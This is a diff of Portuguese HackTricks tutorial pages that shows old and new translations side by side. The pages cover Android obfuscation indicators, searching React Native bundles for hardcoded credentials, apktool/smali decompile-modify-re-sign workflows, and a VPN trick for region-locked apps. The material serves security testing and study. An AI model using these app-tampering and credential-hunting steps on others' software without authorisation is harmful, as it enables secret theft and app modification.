### **Identificando Ofuscação**
Reconhecer o código ofuscado é o primeiro passo no processo de desofuscação. Indicadores-chave incluem:
Reconhecer código ofuscado é o primeiro passo no processo de de-obfuscação. Indicadores-chave incluem:
- A **ausência ou embaralhamento de strings** em Java e Android, o que pode sugerir ofuscação de strings.
- A **presença de arquivos binários** no diretório de ativos ou chamadas para `DexClassLoader`, indicando desempacotamento de código e carregamento dinâmico.
- O uso de **bibliotecas nativas junto com funções JNI não identificáveis**, indicando a possível ofuscação de métodos nativos.
- A **presença de arquivos binários** no diretório de assets ou chamadas para `DexClassLoader`, sugerindo desempacotamento de código e carregamento dinâmico.
- O uso de **bibliotecas nativas juntamente com funções JNI não identificáveis**, indicando potencial ofuscação de métodos nativos.
## **Análise Dinâmica na Desofuscação**
## **Análise Dinâmica na De-obfuscação**
Ao executar o código em um ambiente controlado, a análise dinâmica **permite observar como o código ofuscado se comporta em tempo real**. Este método é particularmente eficaz para descobrir o funcionamento interno de padrões de ofuscação complexos que são projetados para ocultar a verdadeira intenção do código.
Ao executar o código em um ambiente controlado, a análise dinâmica **permite a observação de como o código ofuscado se comporta em tempo real**. Este método é particularmente eficaz para descobrir o funcionamento interno de padrões de ofuscação complexos que são projetados para ocultar a verdadeira intenção do código.
### **Aplicações da Análise Dinâmica**
- **Descriptografia em Tempo de Execução**: Muitas técnicas de ofuscação envolvem a criptografia de strings ou segmentos de código que só são descriptografados em tempo de execução. Através da análise dinâmica, esses elementos criptografados podem ser capturados no momento da descriptografia, revelando sua forma verdadeira.
- **Identificação de Técnicas de Ofuscação**: Ao monitorar o comportamento do aplicativo, a análise dinâmica pode ajudar a identificar técnicas específicas de ofuscação sendo usadas, como virtualização de código, empacotadores ou geração de código dinâmico.
- **Descoberta de Funcionalidades Ocultas**: O código ofuscado pode conter funcionalidades ocultas que não são aparentes apenas através da análise estática. A análise dinâmica permite observar todos os caminhos de código, incluindo aqueles executados condicionalmente, para descobrir tais funcionalidades ocultas.
- **Descriptografia em Tempo de Execução**: Muitas técnicas de ofuscação envolvem a criptografia de strings ou segmentos de código que só são descriptografados em tempo de execução. Através da análise dinâmica, esses elementos criptografados podem ser capturados no momento da descriptografia, revelando sua verdadeira forma.
- **Identificando Técnicas de Ofuscação**: Ao monitorar o comportamento do aplicativo, a análise dinâmica pode ajudar a identificar técnicas específicas de ofuscação sendo utilizadas, como virtualização de código, empacotadores ou geração dinâmica de código.
- **Descobrindo Funcionalidades Ocultas**: O código ofuscado pode conter funcionalidades ocultas que não são aparentes apenas através da análise estática. A análise dinâmica permite a observação de todos os caminhos de código, incluindo aqueles executados condicionalmente, para descobrir tais funcionalidades ocultas.
## Referências e Leituras Adicionais
## Referências e Leitura Adicional
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[vídeo](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* Esta palestra aborda engenharia reversa de uma das bibliotecas nativas de anti-análise mais complexas que vi sendo usada por um aplicativo Android. Ela cobre principalmente técnicas de ofuscação em código nativo.
* REcon 2019: “The Path to the Payload: Android Edition” \[[vídeo](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
* BlackHat USA 2018: “Desempacotando o Desempacotador: Engenharia Reversa de uma Biblioteca Anti-Análise Android” \[[vídeo](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* Esta palestra aborda a engenharia reversa de uma das bibliotecas nativas anti-análise mais complexas que já vi usadas por um aplicativo Android. Cobre principalmente técnicas de ofuscação em código nativo.
* REcon 2019: “O Caminho para o Payload: Edição Android” \[[vídeo](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
* Esta palestra discute uma série de técnicas de ofuscação, exclusivamente em código Java, que um botnet Android estava usando para ocultar seu comportamento.
</details>

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
# Análise da Aplicação React Native
# Análise de Aplicação React Native
Para confirmar se a aplicação foi construída com o framework React Native, siga estes passos:
Para confirmar se a aplicação foi construída no framework React Native, siga estes passos:
1. Renomeie o arquivo APK com a extensão zip e extraia-o para uma nova pasta usando o comando `cp com.example.apk example-apk.zip` e `unzip -qq example-apk.zip -d ReactNative`.
1. Renomeie o arquivo APK com uma extensão zip e extraia-o para uma nova pasta usando o comando `cp com.example.apk example-apk.zip` e `unzip -qq example-apk.zip -d ReactNative`.
2. Navegue até a pasta ReactNative recém-criada e localize a pasta de ativos. Dentro desta pasta, você deve encontrar o arquivo `index.android.bundle`, que contém o JavaScript React em um formato minificado.
2. Navegue até a nova pasta ReactNative e localize a pasta assets. Dentro desta pasta, você deve encontrar o arquivo `index.android.bundle`, que contém o JavaScript React em um formato minificado.
3. Use o comando `find . -print | grep -i ".bundle$"` para procurar o arquivo JavaScript.
@ -26,37 +27,38 @@ Para analisar ainda mais o código JavaScript, crie um arquivo chamado `index.ht
```html
<script src="./index.android.bundle"></script>
```
Podes carregar o ficheiro para [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) ou seguir estes passos:
Você pode fazer o upload do arquivo para [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) ou seguir estas etapas:
1. Abre o ficheiro `index.html` no Google Chrome.
1. Abra o arquivo `index.html` no Google Chrome.
2. Abre a Barra de Ferramentas do Programador pressionando **Command+Option+J para OS X** ou **Control+Shift+J para Windows**.
2. Abra a Developer Toolbar pressionando **Command+Option+J para OS X** ou **Control+Shift+J para Windows**.
3. Clica em "Sources" na Barra de Ferramentas do Programador. Deverás ver um ficheiro JavaScript dividido em pastas e ficheiros, formando o pacote principal.
3. Clique em "Sources" na Developer Toolbar. Você deve ver um arquivo JavaScript que está dividido em pastas e arquivos, formando o pacote principal.
Se encontrares um ficheiro chamado `index.android.bundle.map`, poderás analisar o código-fonte num formato não minificado. Os ficheiros de mapeamento contêm mapeamentos de origem, que te permitem mapear identificadores minificados.
Se você encontrar um arquivo chamado `index.android.bundle.map`, poderá analisar o código-fonte em um formato não minificado. Os arquivos de mapa contêm mapeamento de origem, que permite mapear identificadores minificados.
Para procurar credenciais sensíveis e endpoints, segue estes passos:
Para procurar credenciais e endpoints sensíveis, siga estas etapas:
1. Identifica palavras-chave sensíveis para analisar o código JavaScript. As aplicações React Native frequentemente utilizam serviços de terceiros como Firebase, endpoints de serviços AWS S3, chaves privadas, etc.
1. Identifique palavras-chave sensíveis para analisar o código JavaScript. Aplicações React Native costumam usar serviços de terceiros como Firebase, endpoints de serviço AWS S3, chaves privadas, etc.
2. Neste caso específico, observou-se que a aplicação estava a utilizar o serviço Dialogflow. Procura um padrão relacionado com a sua configuração.
2. Neste caso específico, observou-se que a aplicação estava usando o serviço Dialogflow. Procure por um padrão relacionado à sua configuração.
3. Foi uma sorte encontrar credenciais sensíveis codificadas no código JavaScript durante o processo de reconhecimento.
3. Foi uma sorte que credenciais sensíveis codificadas foram encontradas no código JavaScript durante o processo de reconhecimento.
## Referências
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear a AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se quiseres ver a tua **empresa anunciada no HackTricks** ou **descarregar o HackTricks em PDF** verifica os [**PLANOS DE SUBSCRIÇÃO**](https://github.com/sponsors/carlospolop)!
* Obtém o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descobre [**A Família PEASS**](https://opensea.io/collection/the-peass-family), a nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junta-te ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **segue-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partilha os teus truques de hacking submetendo PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,54 +1,55 @@
# Smali - Decompilando/\[Modificando]/Compilando
# Smali - Decompiling/\[Modifying]/Compiling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Às vezes é interessante modificar o código do aplicativo para acessar informações ocultas para você (talvez senhas bem ofuscadas ou flags). Nesse caso, pode ser interessante decompilar o apk, modificar o código e recompilá-lo.
Às vezes, é interessante modificar o código do aplicativo para acessar informações ocultas para você (talvez senhas ou flags bem ofuscadas). Então, pode ser interessante descompilar o apk, modificar o código e recompilá-lo.
**Referência de Opcodes:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html)
## Forma Rápida
## Fast Way
Usando o **Visual Studio Code** e a extensão [APKLab](https://github.com/APKLab/APKLab), você pode **decompilar**, modificar, **recompilar**, assinar e instalar automaticamente o aplicativo sem executar nenhum comando.
Usando **Visual Studio Code** e a extensão [APKLab](https://github.com/APKLab/APKLab), você pode **descompilar automaticamente**, modificar, **recompilar**, assinar e instalar o aplicativo sem executar nenhum comando.
Outro **script** que facilita muito essa tarefa é [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
## Decompilar o APK
## Decompile the APK
Usando o APKTool, você pode acessar o **código smali e recursos**:
Usando APKTool você pode acessar o **código smali e recursos**:
```bash
apktool d APP.apk
```
Se o **apktool** apresentar algum erro, tente [instalar a **última versão**](https://ibotpeaches.github.io/Apktool/install/)
Se o **apktool** der algum erro, tente [instalar a **versão mais recente**](https://ibotpeaches.github.io/Apktool/install/)
Alguns **arquivos interessantes que você deve procurar são**:
Alguns **arquivos interessantes que você deve olhar são**:
* _res/values/strings.xml_ (e todos os xmls dentro de res/values/\*)
* _AndroidManifest.xml_
* Qualquer arquivo com a extensão _.sqlite_ ou _.db_
* Qualquer arquivo com extensão _.sqlite_ ou _.db_
Se o `apktool` tiver **problemas ao decodificar o aplicativo**, dê uma olhada em [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ou tente usar o argumento **`-r`** (Não decodificar recursos). Então, se o problema estiver em um recurso e não no código-fonte, você não terá o problema (você também não descompilará os recursos).
Se o `apktool` tiver **problemas para decodificar a aplicação**, dê uma olhada em [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) ou tente usar o argumento **`-r`** (Não decodificar recursos). Então, se o problema estava em um recurso e não no código-fonte, você não terá o problema (você também não decompilará os recursos).
## Alterar o código Smali
## Mudar código smali
Você pode **alterar** **instruções**, alterar o **valor** de algumas variáveis ou **adicionar** novas instruções. Eu altero o código Smali usando [**VS Code**](https://code.visualstudio.com), então você instala a **extensão smalise** e o editor irá informar se alguma **instrução estiver incorreta**.\
Você pode **mudar** **instruções**, mudar o **valor** de algumas variáveis ou **adicionar** novas instruções. Eu mudo o código Smali usando [**VS Code**](https://code.visualstudio.com), você então instala a **extensão smalise** e o editor lhe dirá se alguma **instrução está incorreta**.\
Alguns **exemplos** podem ser encontrados aqui:
* [Exemplos de alterações no Smali](smali-changes.md)
* [Exemplos de mudanças Smali](smali-changes.md)
* [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
Ou você pode [**ver abaixo algumas alterações no Smali explicadas**](smali-changes.md#modifying-smali).
Ou você pode [**ver abaixo algumas mudanças Smali explicadas**](smali-changes.md#modifying-smali).
## Recompilar o APK
@ -56,30 +57,30 @@ Após modificar o código, você pode **recompilar** o código usando:
```bash
apktool b . #In the folder generated when you decompiled the application
```
Ele irá **compilar** o novo APK **dentro** da pasta _**dist**_.
Ele **compilará** o novo APK **dentro** da pasta _**dist**_.
Se o **apktool** lançar um **erro**, tente [instalar a **última versão**](https://ibotpeaches.github.io/Apktool/install/)
Se **apktool** gerar um **erro**, tente[ instalar a **versão mais recente**](https://ibotpeaches.github.io/Apktool/install/)
### **Assine o novo APK**
Em seguida, você precisa **gerar uma chave** (será solicitada uma senha e algumas informações que você pode preencher aleatoriamente):
Então, você precisa **gerar uma chave** (você será solicitado a fornecer uma senha e algumas informações que pode preencher aleatoriamente):
```bash
keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias <your-alias>
```
Finalmente, **assin** o novo APK:
Finalmente, **assine** o novo APK:
```bash
jarsigner -keystore key.jks path/to/dist/* <your-alias>
```
### Otimizar nova aplicação
**zipalign** é uma ferramenta de alinhamento de arquivos que fornece otimização importante para arquivos de aplicativos Android (APK). [Mais informações aqui](https://developer.android.com/studio/command-line/zipalign).
**zipalign** é uma ferramenta de alinhamento de arquivos que fornece uma otimização importante para arquivos de aplicação Android (APK). [Mais informações aqui](https://developer.android.com/studio/command-line/zipalign).
```bash
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
zipalign -v 4 infile.apk
```
### **Assinar o novo APK (novamente?)**
### **Assine o novo APK (novamente?)**
Se você **preferir** usar [**apksigner**](https://developer.android.com/studio/command-line/) em vez de jarsigner, **você deve assinar o apk** após aplicar **a otimização com** zipalign. MAS OBSERVE QUE VOCÊ SÓ PRECISA **ASSINAR O APLICATIVO UMA VEZ** COM jarsigner (antes do zipalign) OU COM apksigner (após o zipalign).
Se você **preferir** usar [**apksigner**](https://developer.android.com/studio/command-line/) em vez de jarsigner, **você deve assinar o apk** após aplicar **a otimização com** zipalign. MAS NOTE QUE VOCÊ SÓ PRECISA **ASSINAR A APLICAÇÃO UMA VEZ** COM jarsigner (antes do zipalign) OU COM aspsigner (depois do zipalign).
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
```
@ -103,11 +104,11 @@ return-void
```
O conjunto de instruções Smali está disponível [aqui](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
### Alterações Leves
### Mudanças Leves
### Modificar valores iniciais de uma variável dentro de uma função
Algumas variáveis são definidas no início da função usando o opcode _const_, você pode modificar seus valores, ou pode definir novas:
Algumas variáveis são definidas no início da função usando o opcode _const_, você pode modificar seus valores ou pode definir novos:
```bash
#Number
const v9, 0xf4240
@ -151,17 +152,17 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
```
Recomendações:
* Se você for usar variáveis declaradas dentro da função (declaradas v0, v1, v2...), coloque essas linhas entre o _.local \<número>_ e as declarações das variáveis (_const v0, 0x1_)
* Se você deseja inserir o código de log no meio do código de uma função:
* Se você for usar variáveis declaradas dentro da função (declaradas v0,v1,v2...) coloque essas linhas entre o _.local \<número>_ e as declarações das variáveis (_const v0, 0x1_)
* Se você quiser colocar o código de logging no meio do código de uma função:
* Adicione 2 ao número de variáveis declaradas: Ex: de _.locals 10_ para _.locals 12_
* As novas variáveis devem ser os próximos números das variáveis já declaradas (neste exemplo, seriam _v10_ e _v11_, lembre-se de que começa em v0).
* Altere o código da função de log e use _v10_ e _v11_ em vez de _v5_ e _v1_.
* As novas variáveis devem ser os próximos números das variáveis já declaradas (neste exemplo devem ser _v10_ e _v11_, lembre-se que começa em v0).
* Altere o código da função de logging e use _v10_ e _v11_ em vez de _v5_ e _v1_.
### Toasting
Lembre-se de adicionar 3 ao número de _.locals_ no início da função.
Este código está preparado para ser inserido no **meio de uma função** (**altere** o número das **variáveis** conforme necessário). Ele irá pegar o **valor de this.o**, **transformá-lo** em **String** e então **fazer** um **toast** com seu valor.
Este código está preparado para ser inserido no **meio de uma função** (**mude** o número das **variáveis** conforme necessário). Ele irá pegar o **valor de this.o**, **transformá-lo** em **String** e então **fazer** um **toast** com seu valor.
```bash
const/4 v10, 0x1
const/4 v11, 0x1
@ -173,16 +174,17 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,57 +1,59 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Em situações em que um aplicativo é restrito a determinados países e você não consegue instalá-lo em seu dispositivo Android devido a limitações regionais, falsificar sua localização para um país onde o aplicativo está disponível pode conceder acesso. Os passos abaixo detalham como fazer isso:
Em situações onde um aplicativo é restrito a certos países, e você não consegue instalá-lo em seu dispositivo Android devido a limitações regionais, falsificar sua localização para um país onde o aplicativo está disponível pode conceder acesso. Os passos abaixo detalham como fazer isso:
1. **Instale o Hotspot Shield Free VPN Proxy:**
- Comece baixando e instalando o Hotspot Shield Free VPN Proxy na Google Play Store.
- Comece baixando e instalando o Hotspot Shield Free VPN Proxy da Google Play Store.
2. **Conecte-se a um Servidor VPN:**
- Abra o aplicativo Hotspot Shield.
- Conecte-se a um servidor VPN selecionando o país onde o aplicativo que deseja acessar está disponível.
- Conecte-se a um servidor VPN selecionando o país onde o aplicativo que você deseja acessar está disponível.
3. **Limpe os Dados da Google Play Store:**
- Acesse as **Configurações** do seu dispositivo.
- Prossiga para **Apps** ou **Gerenciador de Aplicativos** (isso pode variar dependendo do seu dispositivo).
- Encontre e selecione a **Google Play Store** na lista de aplicativos.
- Toque em **Forçar Parada** para encerrar quaisquer processos em execução do aplicativo.
- Em seguida, toque em **Limpar Dados** ou **Limpar Armazenamento** (as palavras exatas podem variar) para redefinir o aplicativo Google Play Store para seu estado padrão.
- Navegue até as **Configurações** do seu dispositivo.
- para **Apps** ou **Gerenciador de Aplicativos** (isso pode variar dependendo do seu dispositivo).
- Encontre e selecione **Google Play Store** na lista de aplicativos.
- Toque em **Forçar Parada** para encerrar qualquer processo em execução do aplicativo.
- Em seguida, toque em **Limpar Dados** ou **Limpar Armazenamento** (a redação exata pode variar) para redefinir o aplicativo Google Play Store ao seu estado padrão.
4. **Acesse o Aplicativo Restrito:**
- Abra a **Google Play Store**.
- A loja deve refletir agora o conteúdo do país ao qual você se conectou via VPN.
- A loja agora deve refletir o conteúdo do país ao qual você se conectou via VPN.
- Você deve ser capaz de pesquisar e instalar o aplicativo que estava anteriormente indisponível em sua localização real.
### Notas Importantes:
- A eficácia deste método pode variar com base em vários fatores, incluindo a confiabilidade do serviço VPN e as restrições regionais específicas impostas pelo aplicativo.
- O uso regular de um VPN pode afetar o desempenho de alguns aplicativos e serviços.
- Esteja ciente dos termos de serviço de qualquer aplicativo ou serviço que você está usando, pois usar um VPN para contornar restrições regionais pode violar esses termos.
- O uso regular de uma VPN pode afetar o desempenho de alguns aplicativos e serviços.
- Esteja ciente dos termos de serviço de qualquer aplicativo ou serviço que você esteja usando, pois usar uma VPN para contornar restrições regionais pode violar esses termos.
## Referências
## References
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
